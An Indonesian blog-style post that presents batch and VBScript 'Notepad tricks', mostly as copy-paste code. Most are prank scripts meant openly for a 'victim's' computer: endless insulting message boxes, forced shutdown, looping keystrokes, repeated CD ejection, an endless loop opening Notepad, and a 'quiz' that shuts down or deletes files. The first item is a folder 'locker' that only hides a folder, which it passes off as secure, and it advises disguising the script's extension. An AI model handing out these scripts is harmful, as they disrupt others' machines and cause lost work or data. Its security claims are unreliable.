Notepad adalah program komputer yg sering dianggap sepele padahal sofware ini mampu membuat banyak hal contoh liat aja di bawah ini:
1. Cara menyembunyikan file
silahkan Copas kode
@ECHO OFF
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Mau di Kunci ??(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Masukkan Y atau N
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Foldernya Terkunci
goto End
:UNLOCK
echo Silahkan Masukkan Passwordnya..
set/p "pass=>"
if NOT %pass%== Password Sobat goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Selamat, Folder Sudah Terbuka
goto End
:FAIL
echo Password anda salah
goto end
:MDLOCKER
md Locker
echo Locker Berhasil di Buat
goto End
:End
Setelah Sobat masukkan kode script di atas, ubah tulisan Password Sobat dengan kode Sobat sendiri, dan Save dengan nama folderlocker.bat. Pada Save as type pilih All Files dan klik Save.
Kemudian keluar dari Notepad, double klik folderlocker.bat maka akan muncul folder baru dengan nama Locker. Masukkan file atau data ke dalam folder Locker tersebut.
File sudah dimasukkan, selanjutnya menyembunyikan dan mengunci file. double klik kembali folderlocker.bat, maka akan muncul konfirmasi "Mau di Kunci ??" ketikkan Y dan tekan Enter, maka file Sobat akan hilang (hidden/disembunyikan).
Untuk membukanya, Sobat tinggal buka folderlocker.bat kembali dan masukkan kode Sobat, dan File yang sobat sembunyikan akan muncul kembali.
NB:
Agar lebih aman Sobat bisa mengatur pada Explorer, klik menu Tool >> Folder Option >> View. Tandai atau pilih "Do not show hidden file and folders" kemudian OK.
Untuk mengelabui, ubah extensions .bat menjadi .mp3, .doc, .xls, .ppt atau lain sebagainya. dan ubah kembali menjadi .bat jika ingin membukanya.
2. Membuat komputer Berbicara
Berikut cara-caranya :
1. Buka Notepad
2. Ketikkan code-code aneh dibawah ini
Quote:
Dim pesan, sapi pesan = InputBox ( "Apa yang Anda ingin saya katakan?", "Mesin Berbicara - Pintu-kaya.blogspot.com") Set sapi = CreateObject ( "sapi.spvoice") sapi.Speak pesan |
3. Save as dengan nama tererahkamu.vbs ingat ekstensi atau akhirannya harus .vbs oke?
4. Setelah itu buka file yang tadi dibuat
5. Silahkan ketikkan kata-kata apapun. Nanti akan ada suara dari Komputermu.
3. Membuat message box yang selalu keluar :
copy:
=======================================
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
Simpan dengan format *.bat
=======================================
Yang ini hanya bisa di close mungkin dengan process hacker gan, sama task mngr nggak bisa …
4. Bikin komputer korban shutdown dan message box keluar
copy:
=========================================== @echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”
Simpan dengan format *.bat juga …
=============================================
5. Membuat Capslock terus menyala
copy:
============================================
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Simpan dengan format *.vbs, bisa di close sama Task Manager atau PH
============================================
6. Membuka dan menutup CD/DVD komputer korban
copy:
===========================================
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan format *.vbs juga ya gan!
==============================================
7. Membuat vbscript terus muncul
copy:
==============================================
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Simpan dengan format *.vbs, mungkin sama taskmngr bisa di close …
=============================================
8. Terus – menerus menekan tombol “backspace”
copy:
==============================================
MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Simpan dengan format *.vbs, pasti yang berformat *vbs bisa di kill sama taskmngr
==============================================
9. Otomatis menulis “Lu jelek banget sih” di notepad atau di word
copy:
==============================================
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “lu jelek banget sih!!!”
loop
Simpan dengan format *.vbs, sendkeysnya bisa di ganti …
==============================================
10. Terus – menerus membuka notepad
copy:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan format *.bat, bisa juga di ganti apa yang mau di bukanya, asalkan tau di mana disimpennya …
==============================================
11. Sama dengan trik nomor tujuh, tapi berbeda khas
copy:
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “mu “
WScript.Sleep 50
WshShell.SendKeys “je”
WScript.Sleep 50
WshShell.SendKeys “le”
WScript.Sleep 50
WshShell.SendKeys “k “
WScript.Sleep 50
WshShell.SendKeys ” se”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “li”
WScript.Sleep 50
WshShell.SendKeys ” y”
WScript.Sleep 50
WshShell.SendKeys “a”
WScript.Sleep 50
WshShell.SendKeys ” h”
WScript.Sleep 50
WshShell.SendKeys “!”
WScript.Sleep 50
WshShell.SendKeys “!! “
Ganti sendkeysnya, dan simpan dengan format *.vbs …
=============================================
12. Membuat kuis
copy:
==============================================
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan format *.bat …
yah segitu aja trik trik dari saya semoga bermanfaat
*berbagai sumber